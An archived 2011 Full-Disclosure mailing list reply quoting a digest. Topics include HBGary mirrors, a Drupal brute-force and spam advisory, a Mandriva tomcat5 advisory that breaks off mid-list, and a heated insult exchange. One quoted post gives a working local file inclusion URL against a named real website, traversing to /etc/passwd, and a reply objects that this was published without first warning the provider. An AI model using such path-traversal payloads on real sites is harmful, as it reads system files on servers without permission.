Full Disclosure mailing list archives
Re: LFI Bug and other
From: "Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk>
Date: Sun, 20 Feb 2011 10:48:57 +0000
Uh, did you even disclose this to the provider first? Not meaning to be funny, but really you should have taken screenshots, informed the abuse team, given them a reasonable amount of time to fix, then disclosed the problem once fixed or once the time had expired (whilst giving them warning 48 hours before hand). My apologies if you have already disclosed this too them, but even if this was the case, you should have explained the story better, showing the disclosure timeframes etc. Cal On Sat, Feb 19, 2011 at 12:58 PM, Friedrich Hausberger < fhausberger () gmail com> wrote:
Is full disclosure a security mailing list, where I can find hacking stuff or a magazine about chat show? I hate pornography also, but this is the wrong way to publish. Here you have a LFI vuln I found by accident: http://bc-heppenheim.de/download.php?datei=../../../../../etc/passwd. Feel free to download the whole Debian 4.0 Distribution. Most provider do not use jails/chroot or similar for their multi hosted webserver. Nearly all providers are hackable under 3 days. Regards FHausberger On 19/02/11 12:04, full-disclosure-request () lists grok org uk wrote:Send Full-Disclosure mailing list submissions to full-disclosure () lists grok org uk To subscribe or unsubscribe via the World Wide Web, visit https://lists.grok.org.uk/mailman/listinfo/full-disclosure or, via email, send a message with subject or body 'help' to full-disclosure-request () lists grok org uk You can reach the person managing the list at full-disclosure-owner () lists grok org uk When replying, please edit your Subject line so it is more specific than "Re: Contents of Full-Disclosure digest..." Note to digest recipients - when replying to digest posts, please trimyour post appropriately. Thank you.Today's Topics: 1. Re: Fwd: HBGary Mirrors? (Cal Leeming [Simplicity Media Ltd]) 2. Re: Fwd: HBGary Mirrors? (Cal Leeming [Simplicity Media Ltd]) 3. Re: HBGary Mirrors? (Valdis.Kletnieks () vt edu) 4. Re: (this thread is now about porn).? (Cal Leeming [Simplicity Media Ltd]) 5. Re: HBGary Mirrors? (Valdis.Kletnieks () vt edu) 6. Re: HBGary Mirrors? (Cal Leeming [Simplicity Media Ltd]) 7. Brute Force and Abuse of Functionality vulnerabilities in Drupal (MustLive) 8. Re: Fwd: HBGary Mirrors? (Cal Leeming [Simplicity Media Ltd]) 9. Re: HBGary Mirrors? (Valdis.Kletnieks () vt edu) 10. Re: Brute Force and Abuse of Functionality vulnerabilities in Drupal (Justin Klein Keane) 11. Re: Fwd: HBGary Mirrors? (Jeffrey Walton) 12. [ MDVSA-2011:030 ] tomcat5 (security () mandriva com) 13. Deadline extension | MOBILITY 2011 || July 17-22, 2011 - Bournemouth, UK (Alejandro Cánovas Solbes) 14. [ MDVSA-2011:031 ] python-django (security () mandriva com) 15. Re: Fwd: HBGary Mirrors? (Dani?l W. Crompton) 16. Re: HBGary Mirrors? (William Warren) 17. University of Central Florida Multiple LFI (Hack Talk) 18. Re: University of Central Florida Multiple LFI (Madhur Ahuja) ---------------------------------------------------------------------- Message: 1 Date: Fri, 18 Feb 2011 19:12:19 +0000 From: "Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk> Subject: Re: [Full-disclosure] Fwd: HBGary Mirrors? To: decoder<decoder () own-hero net> Cc: full-disclosure () lists grok org uk Message-ID: <AANLkTi=A=qzbKu1L36Z+1bdxGhNfcA3T0ZUcNg9VQbvr () mail gmail com> Content-Type: text/plain; charset="iso-8859-1" Heh, now that would be interesting. I wonder if the "intent" scenariowouldapply to this also? On Fri, Feb 18, 2011 at 6:56 PM, decoder<decoder () own-hero net> wrote:I can't answer the question but it would be even more interesting to answer this if you're using a One-Time-Pad (i.e. two files of equal sizeontwo different servers, both XORed give you the data). There exists a mathematical proof that none of the two files leak a single bit of information of the original data :) Chris On 02/18/2011 07:50 PM, Cal Leeming [Simplicity Media Ltd] wrote: Sorry, when I say eligible, I mean "which server would they be allowedtotake down by law?". I'm not too hot on the laws of encryption, but I'm sure there is something which states that hosting encrypted files are not illegal,it'sdistributing the key which allows you to gain access to those fails,whichis actually illegal. *DISCLAIMER: I don't know if the above is true or not, so apologies ifIgot this wrong* On Fri, Feb 18, 2011 at 6:46 PM, ck<c.kernstock () googlemail com> wrote: I go with the server hosting the files since the key should be significant smaller than the files and therefor much easier to mirror. On Fri, Feb 18, 2011 at 7:37 PM, Cal Leeming [Simplicity Media Ltd] <cal.leeming () simplicitymedialtd co uk> wrote:So here's a thought. If illegally distributed files (such as this one) were encrypted andhostedon one server, and the key hosted on another, which server would be eligible for take down?_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-------------- next part -------------- An HTML attachment was scrubbed... URL:http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/23151a9f/attachment-0001.html------------------------------ Message: 2 Date: Fri, 18 Feb 2011 19:11:44 +0000 From: "Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk> Subject: Re: [Full-disclosure] Fwd: HBGary Mirrors? To: Charles Morris<cmorris () cs odu edu> Cc: full-disclosure () lists grok org uk Message-ID: <AANLkTimy01XQP-eFHOAVCjzbCd5Wg3ZNw6QPZWMXktAP () mail gmail com> Content-Type: text/plain; charset="iso-8859-1" I'm wondering along the same lines as Thor, based on intent. One of those "don't take the piss or the judge is gonna own you" scenarios that wouldbetested in court on a per trial basis. Like, if the files were known to contain encrypted info, and if it was proved that you knew the contentsofthose files, then you would be held liable. @Charles: luckily for me, this is all academic as I've kept as far awayaspossible from this hbgary thing :P On Fri, Feb 18, 2011 at 6:57 PM, Charles Morris<cmorris () cs odu edu>wrote:Sorry, when I say eligible, I mean "which server would they be allowedtotake down by law?". I'm not too hot on the laws of encryption, but I'm sure there issomethingwhich states that hosting encrypted files are not illegal, it'sdistributingthe key which allows you to gain access to those fails, which isactuallyillegal. *DISCLAIMER: I don't know if the above is true or not, so apologies ifIgotthis wrong*Attempt A: Cal, I'm not sure on this point off-the-cuff, however encrypted files should* be indistinguishable from random data, so assuming that even if a given LEE has obtained the key and knows that your distributed data is "illegal",youcould be held blameless as you have no feasible way to know what thedatawas. Attempt 2: You could also consider a key and an algorithm a "transform" for a setofrandom bits, such that once the transform is applied to those bits it would result in something "bad", so you aren't actually distributing "encrypted" "files" at all.. just random bits :D *DISCLAIMER: The above will PROBABLY NOT hold in court, so apologies if you get jailed for life-------------- next part -------------- An HTML attachment was scrubbed... URL:http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/1a680f5f/attachment-0001.html------------------------------ Message: 3 Date: Fri, 18 Feb 2011 14:28:02 -0500 From: Valdis.Kletnieks () vt edu Subject: Re: [Full-disclosure] HBGary Mirrors? To: "Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk> Cc: full-disclosure () lists grok org uk Message-ID:<12318.1298057282@localhost> Content-Type: text/plain; charset="us-ascii" On Fri, 18 Feb 2011 18:37:09 GMT, "Cal Leeming [Simplicity Media Ltd]"said:If illegally distributed files (such as this one) were encrypted andhostedon one server, and the key hosted on another, which server would be eligible for take down?Questions like that are part of why FreeNet and similar systems weredesigned.Nobody wants to be the test case for a simple question like that one,becauseeven if you win the test case, it still sucks. So the obvious thing todo isfix things so the simple questions aren't an issue anymore, with the hopethatthe hard questions remain un-askable. When even the person who stored the file can't tell where the file is,andthe admin of each participating server has no way of telling what gotstoredon their node, it becomes really hard to draft a proper legal notice(eithera 17 USC 512 takedown notice, or subpoenas/warrants for more seriousstuff).-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available Url :http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/6e2c43af/attachment-0001.bin------------------------------ Message: 4 Date: Fri, 18 Feb 2011 19:28:12 +0000 From: "Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk> Subject: Re: [Full-disclosure] (this thread is now about porn).? To: "andrew.wallace"<andrew.wallace () rocketmail com> Cc: "full-disclosure () lists grok org uk" <full-disclosure () lists grok org uk> Message-ID: <AANLkTimrA6nUJUN_caqFPOjVTFfv1mW6W2KufVBWSbGU () mail gmail com> Content-Type: text/plain; charset="iso-8859-1" Andrew, I used to fucking work in a NOC as a security consultant youidioticpiece of shit. I also used to spend 12 - 18 hours a day in various data centres in Harbour Exchange. Go and check my linkedin. Oh and, as promised: http://bit.ly/eQIk4O On Fri, Feb 18, 2011 at 7:22 PM, andrew.wallace< andrew.wallace () rocketmail com> wrote:On Fri, Feb 18, 2011 at 4:50 PM, Cal Leeming [Simplicity Media Ltd]< cal.leeming () simplicitymedialtd co uk> wrote:"operations centre email system"When you ever get a job in the industry, which is unlikely because ofyourcriminal record you might get to know what an operations centre is. http://en.wikipedia.org/wiki/Network_operations_center Andrew-------------- next part -------------- An HTML attachment was scrubbed... URL:http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/0683cef8/attachment-0001.html------------------------------ Message: 5 Date: Fri, 18 Feb 2011 13:24:31 -0500 From: Valdis.Kletnieks () vt edu Subject: Re: [Full-disclosure] HBGary Mirrors? To: ck<c.kernstock () googlemail com> Cc: full-disclosure () lists grok org uk Message-ID:<8886.1298053471@localhost> Content-Type: text/plain; charset="us-ascii" On Fri, 18 Feb 2011 17:24:23 +0100, ck said:So, the FEDs shut down all mirrors of the HBGary files - or didn't they?Between the Streisand Effect and things like Tor and FreeNet, the Feds will never be sure if they got all the copies or not. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available Url :http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/ea1582a1/attachment-0001.bin------------------------------ Message: 6 Date: Fri, 18 Feb 2011 19:30:49 +0000 From: "Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk> Subject: Re: [Full-disclosure] HBGary Mirrors? To: Valdis.Kletnieks () vt edu Cc: full-disclosure () lists grok org uk Message-ID: <AANLkTi=Th4KjohijmcFWUYYb8Hkq1V_6Qt6vh9-CBwUG () mail gmail com> Content-Type: text/plain; charset="iso-8859-1" Oh, I didn't realise that's what FreeNet did, I thought it was a tor alternative! On Fri, Feb 18, 2011 at 7:28 PM,<Valdis.Kletnieks () vt edu> wrote:On Fri, 18 Feb 2011 18:37:09 GMT, "Cal Leeming [Simplicity Media Ltd]" said:If illegally distributed files (such as this one) were encrypted andhostedon one server, and the key hosted on another, which server would be eligible for take down?Questions like that are part of why FreeNet and similar systems were designed. Nobody wants to be the test case for a simple question like that one, because even if you win the test case, it still sucks. So the obvious thing todois fix things so the simple questions aren't an issue anymore, with thehopethat the hard questions remain un-askable. When even the person who stored the file can't tell where the file is,andthe admin of each participating server has no way of telling what got stored on their node, it becomes really hard to draft a proper legal notice (either a 17 USC 512 takedown notice, or subpoenas/warrants for more serious stuff).-------------- next part -------------- An HTML attachment was scrubbed... URL:http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/7f780c84/attachment-0001.html------------------------------ Message: 7 Date: Fri, 18 Feb 2011 21:30:37 +0200 From: "MustLive"<mustlive () websecurity com ua> Subject: [Full-disclosure] Brute Force and Abuse of Functionality vulnerabilities in Drupal To:<submissions () packetstormsecurity org>, <full-disclosure () lists grok org uk>, <bugtraq () securityfocus com Message-ID:<00bb01cbcfa2$85e107c0$c103fea9@ml> Content-Type: text/plain; format=flowed; charset="windows-1251"; reply-type=original Hello list! I want to warn you about Brute Force and Abuse of Functionality vulnerabilities in Drupal. ------------------------- Affected products: ------------------------- Vulnerable are Drupal 6.20 and previous versions. ---------- Details: ---------- Brute Force (WASC-11): In login form (http://site/user/) there is no reliable protectionagainstbrute force attacks. There is no captcha in Drupal itself, and existent Captcha module (http://websecurity.com.ua/4749/) is vulnerable (and alsoallplugins to it, such as reCAPTCHA (http://websecurity.com.ua/4752/). Abuse of Functionality (WASC-42): At contact page (http://site/contact) and at page for contact with user (http://site/user/1/contact) there is a possibility to send spam fromthesite to arbitrary e-mails via function "Send yourself a copy". And with using of Insufficient Anti-automation vulnerability it's possible to send spam from the site in automated manner on a large scale. The attack with using of this function is possible only for logged in users. For automated sending of spam it's needed to use before-mentioned Insufficient Anti-automation vulnerabilities - there is no captcha inDrupalitself, and existent captcha-module is vulnerable (and also all pluginstoit, such as reCAPTCHA). About such Abuse of Functionality vulnerabilities I wrote in articleSendingspam via sites and creating spam-botnets (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2010-July/006863.html ).Abuse of Functionality (WASC-42): At request to specific pages of the site with setting login (http://site/users/user) it's possible to find existent logins of theusersat site (i.e. to enumerate logins). If shows "Access denied" - then such login exists, and if "Page not found" - then no. At request to pages for contact with users (http://site/user/1/contact) login of the user shows (i.e. it's possible to enumerate logins). Theattackis possible to conduct only for logged in users and it'll work only if attacked user turned on the option "Personal contact form" in hisprofile.------------ Timeline: ------------ 2010.12.15 - announced at my site. 2010.12.16 - informed developers. 2011.02.17 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/4763/). Best wishes& regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua ------------------------------ Message: 8 Date: Fri, 18 Feb 2011 19:43:18 +0000 From: "Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk> Subject: Re: [Full-disclosure] Fwd: HBGary Mirrors? To: Veg<veg () fatsquirrel org>, full-disclosure () lists grok org uk Message-ID: <AANLkTikHnV+31ff22q2p8JEVxekSiXoUXHWh8m1EgVoF () mail gmail com> Content-Type: text/plain; charset="iso-8859-1" LMAO, that's fucking brilliant. :D (had to modify the reply a little, Google was picking it up as spam, and forcibly not sending out :S) On Fri, Feb 18, 2011 at 7:37 PM, Cal Leeming [Simplicity Media Ltd]< cal.leeming () simplicitymedialtd co uk> wrote:On Fri, Feb 18, 2011 at 7:33 PM, Veg<*****> wrote:Pertaining to your question about the key versus the cryptotext: *http://bit.ly/hSmqvA*-------------- next part -------------- An HTML attachment was scrubbed... URL:http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/95095ea0/attachment-0001.html------------------------------ Message: 9 Date: Fri, 18 Feb 2011 14:45:03 -0500 From: Valdis.Kletnieks () vt edu Subject: Re: [Full-disclosure] HBGary Mirrors? To: "Cal Leeming [Simplicity Media Ltd]" <cal.leeming () simplicitymedialtd co uk> Cc: full-disclosure () lists grok org uk Message-ID:<13207.1298058303@localhost> Content-Type: text/plain; charset="us-ascii" On Fri, 18 Feb 2011 19:30:49 GMT, you said:Oh, I didn't realise that's what FreeNet did, I thought it was a tor alternative!http://en.wikipedia.org/wiki/Freenet https://freenetproject.org/ It's a semi-alternative. Both address the "make it difficult to trace" issue in somewhat similar ways. Tor is probably more famous for its "provide an anonymous proxy" function, but also supports "hidden"storage.The biggest difference is that in the Tor case, the person running the storage knows where the files are and what they are - it's just difficult for anybody else to find out where it really is. Freenet is moreorientedtowards totally obfuscated storage, where *nobody* knows what a givenfileis, or where it is actually stored, until you actually fetch it (and even then, you don't know where the data came from). -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available Url :http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110218/48a305f4/attachment-0001.bin------------------------------ Message: 10 Date: Fri, 18 Feb 2011 14:45:46 -0500 From: Justin Klein Keane<justin () madirish net> Subject: Re: [Full-disclosure] Brute Force and Abuse of Functionality vulnerabilities in Drupal To: full-disclosure () lists grok org uk Message-ID:<4D5ECC6A.7080501 () madirish net> Content-Type: text/plain; charset=ISO-8859-1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 MustLive: you're a little late to this party, see http://www.madirish.net/?article=443, published Dec 2009. The other issues you mention may already be disclosed. The Drupal Login Security module (http://drupal.org/project/login_security) is an effective mitigation for some of these problems. Do you do any research before you publish these advisories? Justin Klein Keane http://www.MadIrish.net The digital signature on this message can be confirmed using the public key at http://www.madirish.net/gpgkey On 02/18/2011 02:30 PM, MustLive wrote:Hello list! I want to warn you about Brute Force and Abuse of Functionality vulnerabilities in Drupal. ------------------------- Affected products: ------------------------- Vulnerable are Drupal 6.20 and previous versions. ---------- Details: ---------- Brute Force (WASC-11): In login form (http://site/user/) there is no reliable protectionagainstbrute force attacks. There is no captcha in Drupal itself, and existent Captcha module (http://websecurity.com.ua/4749/) is vulnerable (andalso allplugins to it, such as reCAPTCHA (http://websecurity.com.ua/4752/). Abuse of Functionality (WASC-42): At contact page (http://site/contact) and at page for contact with user (http://site/user/1/contact) there is a possibility to send spam fromthesite to arbitrary e-mails via function "Send yourself a copy". And with using of Insufficient Anti-automation vulnerability it's possible tosendspam from the site in automated manner on a large scale. The attack with using of this function is possible only for logged in users. For automated sending of spam it's needed to use before-mentioned Insufficient Anti-automation vulnerabilities - there is no captcha inDrupalitself, and existent captcha-module is vulnerable (and also all pluginstoit, such as reCAPTCHA). About such Abuse of Functionality vulnerabilities I wrote in articleSendingspam via sites and creating spam-botnets (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2010-July/006863.html ).Abuse of Functionality (WASC-42): At request to specific pages of the site with setting login (http://site/users/user) it's possible to find existent logins of theusersat site (i.e. to enumerate logins). If shows "Access denied" - then such login exists, and if "Page not found" - then no. At request to pages for contact with users (http://site/user/1/contact) login of the user shows (i.e. it's possible to enumerate logins). Theattackis possible to conduct only for logged in users and it'll work only if attacked user turned on the option "Personal contact form" in hisprofile.------------ Timeline: ------------ 2010.12.15 - announced at my site. 2010.12.16 - informed developers. 2011.02.17 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/4763/). Best wishes& regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Fedora - http://enigmail.mozdev.org/ iPwEAQECAAYFAk1ezF8ACgkQkSlsbLsN1gA3KAb9GAwPgHQPFrmPSam+i9/BDIm0 jiR7Yxx0A9ubv3xvQAyz+cVIvcXEXVE040PirkpcnC6lY4ZXWCdvzUiYVrkarlJC y6CZ8WVw8xsnjxZb382wHUE00SQF4rylAv4OP0WYDDUqjdEPA+CLxKfaO/LtrmIB b3QNPEkJhrxNnW6nHc+JeqAG6Ukz+0zpKen+Wi1IPaOR1XGMaiak7IjSdN91u/XV MHlOKyOr1NLEOMze2+rH8PexbrWAXuWyj74F+2lVOeiiD95ZY3CpnIVKJGb6G79h EuSuV/+JZ/Idj7pWIO4= =pZNB -----END PGP SIGNATURE----- ------------------------------ Message: 11 Date: Fri, 18 Feb 2011 14:48:32 -0500 From: Jeffrey Walton<noloader () gmail com> Subject: Re: [Full-disclosure] Fwd: HBGary Mirrors? To: "Thor (Hammer of God)"<thor () hammerofgod com> Cc: "full-disclosure () lists grok org uk" <full-disclosure () lists grok org uk> Message-ID: <AANLkTinZt1p4ZzrLQJ-8=KitnZW4=ggpABxphEiYVG6L () mail gmail com> Content-Type: text/plain; charset=windows-1252 On Fri, Feb 18, 2011 at 2:03 PM, Thor (Hammer of God) <thor () hammerofgod com> wrote:It would ultimately come down to ?intent.?? Technically of course, the encrypted file is not the original file.? Never will be.? Can?t be.?Theykeys are not either.? ?Used together they can reproduce the copyright data.?? So legally, there would certainly be an interesting argumentaboutwhat is and what isn?t legal.?? But there would be plenty of cause foraninjunction which would put the kibosh on distribution until that legal decision was made.? It doesn?t have to make sense, and it doesn?t haveto bestrictly ?legal? but it is up to a judge.? Recall that 9th circuit judge Kermit (I believe) ruled against emails on an ISPs server being in scopeforwiretap laws since, at the time the ISP was reading them, they were not?intransit.?? Go figure. If a judge ruled that you were purposely encrypting data anddistributingkeys to get around copyright laws, he could easily rule against youanyway.You gotta love "legislating from the bench." Its too bad US politicians do such a poor job that others have to fix their mess. Jeff ------------------------------ Message: 12 Date: Fri, 18 Feb 2011 22:10:00 +0100 From: security () mandriva com Subject: [Full-disclosure] [ MDVSA-2011:030 ] tomcat5 To: full-disclosure () lists grok org uk Message-ID:<E1PqXaS-0005e2-Kp () titan mandriva com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandriva Linux Security Advisory MDVSA-2011:030 http://www.mandriva.com/security/ _______________________________________________________________________ Package : tomcat5 Date : February 18, 2011 Affected: 2009.0, 2010.0, 2010.1, Enterprise Server 5.0 _______________________________________________________________________ Problem Description: Multiple vulnerabilities has been found and corrected in tomcat5: When running under a SecurityManager, access to the file system is limited but web applications are granted read/write permissions to the work directory. This directory is used for a variety of temporary files such as the intermediate files generated when compiling JSPs to Servlets. The location of the work directory is specified by a ServletContect attribute that is meant to be read-only to web applications. However, due to a coding error, the read-only setting was not applied. Therefore, a malicious web application may modify the attribute before Tomcat applies the file permissions. This can be used to grant read/write permissions to any area on the file system which a malicious web application may then take advantage of. This vulnerability is only applicable when hosting web applications from untrusted sources such as shared hosting environments (CVE-2010-3718). The HTML Manager interface displayed web applciation provided data, such as display names, without filtering. A malicious web application could trigger script execution by an administartive user when viewing the manager pages (CVE-2011-0013). Packages for 2009.0 are provided as of the Extended Maintenance Program. Please visit this link to learn more:http://store.mandriva.com/product_info.php?cPath=149&products_id=490The updated packages have been patched to correct these issues. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3718 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0013 _______________________________________________________________________ Updated Packages: Mandriva Linux 2009.0: 4acc23d840bdd74a8a2a27717c57f8132009.0/i586/tomcat5-5.5.27-0.3.0.4mdv2009.0.noarch.rpmd901fdb0a4995bf9eb2870b3c9a1d2492009.0/i586/tomcat5-admin-webapps-5.5.27-0.3.0.4mdv2009.0.noarch.rpmae34366f41b039c6e53631b185547a7b2009.0/i586/tomcat5-common-lib-5.5.27-0.3.0.4mdv2009.0.noarch.rpmade05ceda9f2ae4fb342e7ef5df474e22009.0/i586/tomcat5-jasper-5.5.27-0.3.0.4mdv2009.0.noarch.rpm51fab09365486ad60ed686935c1c75112009.0/i586/tomcat5-jasper-eclipse-5.5.27-0.3.0.4mdv2009.0.noarch.rpm5f1fc1ea7c38546a38a04000cdf9212a2009.0/i586/tomcat5-jasper-javadoc-5.5.27-0.3.0.4mdv2009.0.noarch.rpmbddc26db0a0e9aea3223927566b114422009.0/i586/tomcat5-jsp-2.0-api-5.5.27-0.3.0.4mdv2009.0.noarch.rpmeffd51cb30b8d2bb5f12a3a0507b12602009.0/i586/tomcat5-jsp-2.0-api-javadoc-5.5.27-0.3.0.4mdv2009.0.noarch.rpme71a36bd07ad8f241104e0e322900d552009.0/i586/tomcat5-server-lib-5.5.27-0.3.0.4mdv2009.0.noarch.rpmfc68ce165e49fa63529cda996f9e7e6f2009.0/i586/tomcat5-servlet-2.4-api-5.5.27-0.3.0.4mdv2009.0.noarch.rpmaa8f7e5205aa734f94661d2e1d87cf032009.0/i586/tomcat5-servlet-2.4-api-javadoc-5.5.27-0.3.0.4mdv2009.0.noarch.rpm09488edfcc731340c51322540e0504452009.0/i586/tomcat5-webapps-5.5.27-0.3.0.4mdv2009.0.noarch.rpm78f469b9bdf9461e9dd423fa51a00fbb2009.0/SRPMS/tomcat5-5.5.27-0.3.0.4mdv2009.0.src.rpmMandriva Linux 2009.0/X86_64: 7f3a9c9a0f48012967fece5d682cc3442009.0/x86_64/tomcat5-5.5.27-0.3.0.4mdv2009.0.noarch.rpm3151ab51c99456cf46095557b421a47d2009.0/x86_64/tomcat5-admin-webapps-5.5.27-0.3.0.4mdv2009.0.noarch.rpm4312fccb593f577b34a77363c140460b2009.0/x86_64/tomcat5-common-lib-5.5.27-0.3.0.4mdv2009.0.noarch.rpm04580ac069d37ea7ce1223f744dd63bf2009.0/x86_64/tomcat5-jasper-5.5.27-0.3.0.4mdv2009.0.noarch.rpmadf6a50a74e425cd579d4c76fe518f882009.0/x86_64/tomcat5-jasper-eclipse-5.5.27-0.3.0.4mdv2009.0.noarch.rpmbe1cdc23f0f7a115835062c6dd22f68e2009.0/x86_64/tomcat5-jasper-javadoc-5.5.27-0.3.0.4mdv2009.0.noarch.rpm827ce79fb2c78c7cd5e2b9ed74e605642009.0/x86_64/tomcat5-jsp-2.0-api-5.5.27-0.3.0.4mdv2009.0.noarch.rpm5ad827a665ee9a6b20d1e771ada0922a2009.0/x86_64/tomcat5-jsp-2.0-api-javadoc-5.5.27-0.3.0.4mdv2009.0.noarch.rpm1133aad0b9a2715bbea40e925f065f0e2009.0/x86_64/tomcat5-server-lib-5.5.27-0.3.0.4mdv2009.0.noarch.rpm734a3311954704b8d31c134c204273f32009.0/x86_64/tomcat5-servlet-2.4-api-5.5.27-0.3.0.4mdv2009.0.noarch.rpme61e4817d3fe00bca326b7d078d38cc12009.0/x86_64/tomcat5-servlet-2.4-api-javadoc-5.5.27-0.3.0.4mdv2009.0.noarch.rpm4f37e8f46d3435971ad107d3012c27222009.0/x86_64/tomcat5-webapps-5.5.27-0.3.0.4mdv2009.0.noarch.rpm78f469b9bdf9461e9dd423fa51a00fbb2009.0/SRPMS/tomcat5-5.5.27-0.3.0.4mdv2009.0.src.rpmMandriva Linux 2010.0: 39e1b0164f00a89b96865243916eccb62010.0/i586/tomcat5-5.5.27-0.5.0.2mdv2010.0.noarch.rpmb406cccf6e7886b5c47de22ecc82088d2010.0/i586/tomcat5-admin-webapps-5.5.27-0.5.0.2mdv2010.0.noarch.rpmb5c3e735cec844c1a7c1206c78a6af512010.0/i586/tomcat5-common-lib-5.5.27-0.5.0.2mdv2010.0.noarch.rpm0561c5ba6f593f8cb21d6433b31bbdf02010.0/i586/tomcat5-jasper-5.5.27-0.5.0.2mdv2010.0.noarch.rpmc3d3ed8727164b1542b08cc35b74eeb32010.0/i586/tomcat5-jasper-eclipse-5.5.27-0.5.0.2mdv2010.0.noarch.rpm137b051b6fa4a159098151aed959d4b82010.0/i586/tomcat5-jasper-javadoc-5.5.27-0.5.0.2mdv2010.0.noarch.rpmfb2d81779b9a6701f935b69c72dfd1a22010.0/i586/tomcat5-jsp-2.0-api-5.5.27-0.5.0.2mdv2010.0.noarch.rpm247083e1e461555c064c57fb22293eb42010.0/i586/tomcat5-jsp-2.0-api-javadoc-5.5.27-0.5.0.2mdv2010.0.noarch.rpm1eb783fc2a5fd77fc04327f103f3e9242010.0/i586/tomcat5-server-lib-5.5.27-0.5.0.2mdv2010.0.noarch.rpmff93f3807ad38a6f3efd3b755e4b8a9c2010.0/i586/tomcat5-servlet-2.4-api-5.5.27-0.5.0.2mdv2010.0.noarch.rpm63293aef2e275ccf3c5dca5ab69b1a5b2010.0/i586/tomcat5-servlet-2.4-api-javadoc-5.5.27-0.5.0.2mdv2010.0.noarch.rpm5295cf4e876b552468657fd61eff83af2010.0/i586/tomcat5-webapps-5.5.27-0.5.0.2mdv2010.0.noarch.rpm3e8072e942561408d7c33bd24517b4c92010.0/SRPMS/tomcat5-5.5.27-0.5.0.2mdv2010.0.src.rpmMandriva Linux 2010.0/X86_64: c4999736e1bc0c9a5a97d594cee65c1c2010.0/x86_64/tomcat5-5.5.27-0.5.0.2mdv2010.0.noarch.rpm6b1e3d535d54b0be9e2ae5d1097ccada2010.0/x86_64/tomcat5-admin-webapps-5.5.27-0.5.0.2mdv2010.0.noarch.rpm8b312a00888405017f0a569a941ef8862010.0/x86_64/tomcat5-common-lib-5.5.27-0.5.0.2mdv2010.0.noarch.rpm2418f2e08935a6f0992b092a4bffecc82010.0/x86_64/tomcat5-jasper-5.5.27-0.5.0.2mdv2010.0.noarch.rpm83a682d9a8f037101b9551cd78a016c62010.0/x86_64/tomcat5-jasper-eclipse-5.5.27-0.5.0.2mdv2010.0.noarch.rpmbb1adfd0118f39da9a5b3f65ae84e62f2010.0/x86_64/tomcat5-jasper-javadoc-5.5.27-0.5.0.2mdv2010.0.noarch.rpm4a98e6b4fc7d0f857fc992b939d842ad2010.0/x86_64/tomcat5-jsp-2.0-api-5.5.27-0.5.0.2mdv2010.0.noarch.rpm4037dc8df08254a5c8e93313221a75142010.0/x86_64/tomcat5-jsp-2.0-api-javadoc-5.5.27-0.5.0.2mdv2010.0.noarch.rpm1c1a706e810c6cd0c063d84b0522585a2010.0/x86_64/tomcat5-server-lib-5.5.27-0.5.0.2mdv2010.0.noarch.rpm62bc24195dda4032d33bb206031bd0372010.0/x86_64/tomcat5-servlet-2.4-api-5.5.27-0.5.0.2mdv2010.0.noarch.rpmc3bb0d7222dbc10f3d14a95ca8a796442010.0/x86_64/tomcat5-servlet-2.4-api-javadoc-5.5.27-0.5.0.2mdv2010.0.noarch.rpma300b02d11c66be9c4b7025a16db508d2010.0/x86_64/tomcat5-webapps-5.5.27-0.5.0.2mdv2010.0.noarch.rpm3e8072e942561408d7c33bd24517b4c92010.0/SRPMS/tomcat5-5.5.27-0.5.0.2mdv2010.0.src.rpmMandriva Linux 2010.1: 